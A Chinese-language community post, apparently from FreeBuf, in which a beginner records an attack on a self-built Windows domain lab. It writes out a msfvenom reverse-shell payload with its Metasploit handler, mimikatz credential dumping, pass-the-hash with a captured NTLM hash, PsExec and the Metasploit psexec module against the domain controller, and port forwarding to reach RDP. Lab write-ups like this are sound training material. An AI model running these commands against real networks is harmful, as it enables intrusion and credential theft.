这是我第一次在社区发文,仅作为最近学习过程的收获记录,踩了很多坑,本人文章写的不是很好,文章中很多东西都也没写出来,思路有一些乱,没有完整的将域渗透的流程写出来(图配的很乱),在之后我再补全一些刚上手容易遇到的问题。
文章没有使用扫描模块或者nmap添加代理对内网扫描的过程。msf提供的代理模块是指,能供其他应用使用的代理。这就是为什么很多文章里写道,拿到一个shell后,会添加一条路由,再配置socks4a模块,然后修改proxychains4.conf文件了。其他用proxychains4使用代理的,比如proxychains4 nmap,是通过msf拿到的shell的转发出去的。我一开始理解错了,浪费了很多时间。
我是在某次跟师傅线下挖洞时接触到了域渗透,一直到现在才亲手搭环境复现,了解一些工具的使用,本人技术很菜,没挖到过src,不会代码审计,只懂一点流程,开发也不是很厉害,春招连个安服崽的工作都找不到(现在都不招人了我是真没想到hhh)。心塞。
哥斯拉的webshell
msf msfvenom、handler、psexec模块
meterpreter kiwi_cmd
mimikatz
psexec
也参考了很多的资料,不贴出来应该没什么问题吧。
ip:192.168.10.1/24(自定义网段,模拟内网环境)
掩码:255.255.255.0DC(win server2008R2):192.168.10.2
web-server\administrator(win server2008R2):192.168.192.153(双网卡,外网)、192.169.10.10(内网)
Common-computer(win7 x64):192.168.10.20(没用上)
这里通过phpstudy快速搭站,上传webshell,然后哥斯拉连接,上传免杀木马的方式,直接进入域渗透环节。
使用命令生成远控木马程序,并通过webshell上传hack.exe,然后kali设置监听,然后在webshell中执行。
msfvenom -p windows/meterpreter_reverse_tcp LHOST=192.168.192.132 LPORT=6789 -f exe -o hack.exeuse exploit/multi/handler
set payload windows/x64/meterpreter_reverse_tcp
set lhost 192.168.192.132
set lport 6789
exploit -j(后台)允许
此时木马已上传,直接运行即可。
此时kali端收到一个meterpreter shell,接下来开启域渗透。
大致说下收集哪些点
域名、网段、域内主机。
输入sessions_id,进入到会话
先探测一波,得到是administrator权限(好像是因为phpstudy默认是以管理员权限启动的),所以不用提权(其实我也不太会,改天使用现成的靶机练练提权),直接getsystem获取系统管理员权限。
shell命令进入到会话;
然后对域内信息进行收集;
net view
net group /domain
等等域内信息收集命令,但是我自己搭建的域好像有点问题,就略过这一块儿了。
ipconfig 查看网卡配置信息;
route print 查看路由表;
arp -a 查看arp缓存;
可以看到应该是有两个网段的,一个外网网段,一个内网网段192.168.10.0
接着就需要找内网存活主机,以及找到域控的ip。找域控的话,直接ping域名就行,这里省略一些操作,直捣黄龙(域控)。
这里我做了不同实验(因为是自己搭建的环境,并且域管理员账号跟密码都是知道的)。
1、直接在本地的跳板机上运行mimikatz,抓取ntlm,然后hash传递,这里仅仅想展示横向移动的效果
2、通过meterpreter加载mimikatz获取域管理员账户的ntlm值,然后利用psexec模块,获取域控的控制权(但是我没成功过,一直都抓不到,后来测试可以,原来之前是我看错了)。
3、通过端口转发,将域控的3389端口转发到本地的某个端口,然后远程连接它(作弊了,因为我知道账号密码)。
mimikatz.exe privilege::debug sekurlsa::logonPasswords
ntlm:bf056feb4349eff2d9761e322d6178dd
同时账号密码也爆出来了。然后通过mimikatz进行hash传递
mimikatz.exe privilege::debug sekurlsa::pth /user:administrator /domain:CYBER.COM /ntlm:bf056feb4349eff2d9761e322d6178dd
可以看到新打开了一个cmd窗口,dir \\192.168.10.2\c$
ps:在这里有个非常坑的点,我一开始用的新建的域用户登录的跳板机,结果pth一直失败,查了很久资料,终于找到原因所在,直接浪费一晚上。
在工作组环境中:
Windows Vista 之前的机器,可以使用本地管理员组内用户进行攻击。
Windows Vista 之后的机器,只能是administrator用户的哈希值才能进行哈希传递攻击,其他用户(包括管理员用户但是非administrator)也不能使用哈希传递攻击,会提示拒绝访问。
在域环境中:
只能是域管理员组内用户(可以是域管理员组内非administrator用户)的哈希值才能进行哈希传递攻击,攻击成功后,可以访问域内任何一台机器。
被攻击的机器需要开放445端口,而且用户名没有更改过,之前就碰到比较聪明的运维,虽然hash是一样的,但是他把每台主机的用户名都改掉了。
有账号和密码的话,也可以使用psexec.exe脚本登录。(该脚本好像可以用来本地提权到system权限,不过域用户好像不行,win 10好像也不行)
PsExec64.exe \\192.168.10.2 -u administrator -p [email protected]#123Qwe cmd.exe
kiwi模块同时支持32位和64位的系统,但是该模块默认是加载32位的系统,所以如果目标主机是64位系统的话,直接默认加载该模块会导致很多功能无法使用。所以如果目标系统是64位的,则必须先查看系统进程列表,然后将meterpreter进程迁移到一个64位程序的进程中,才能加载kiwi并且查看系统明文。如果目标系统是32位的,则没有这个限制。
ps 查看进程id,找到一个64位的程序。
迁移进程 migrate PID。
kiwi_cmd sekurlsa::logonPasswords
(不过也有可能抓不到密码,如果域管理员没登陆这台机器的话)kiwi_cmd "sekurlsa::pth /user:administrator /domain:cyber.com /ntlm:bf056feb4349eff2d9761e322d6178dd " //这里好坑,需要将执行的命令用""括起来。而且也没有反弹shell
所以使用msf的psexec模块。如下按全0设置就好
use exploit/windows/smb/psexec
set payload windows/x64/meterpreter/bind_tcp
set rhost 192.168.10.2
set smbuser administrator
set smbpass 00000000000000000000000000000000:bf056feb4349eff2d9761e322d6178dd
set smbdomain cyber.com
添加一条路由route add 192.168.10.2/24 1(sessions id),表示所有经过这个网段的流量都从sessions 1转发。
route print
portfwd add -l loc_port -r target_ip -p 3389
portfwd add -l 10001 -r 192.168.10.2 -p 3389(表示将远程主机的3389端口映射到本地10001端口,然后通过本地IP+port的方式远程连接,看资料好像是说3389端口不出网的话,可以通过这样的方式来连接3389)
rdesktop 192.168.192.132:10001 (kali ip)
使用账号名@域名的方式,加上密码即可登录,例如:[email protected] [email protected]#123Qwe
我自己感觉这篇文章确实写的不是很好,没有把攻击的原理写出来,文章的深度不够,而且感觉一些地方有错误,希望各位师傅们能给一些指点。
本文作者:latpurple, 转载请注明来自FreeBuf.COM
侵权请私聊公众号删文
热文推荐
欢迎关注LemonSec
觉得不错点个“赞”、“在看”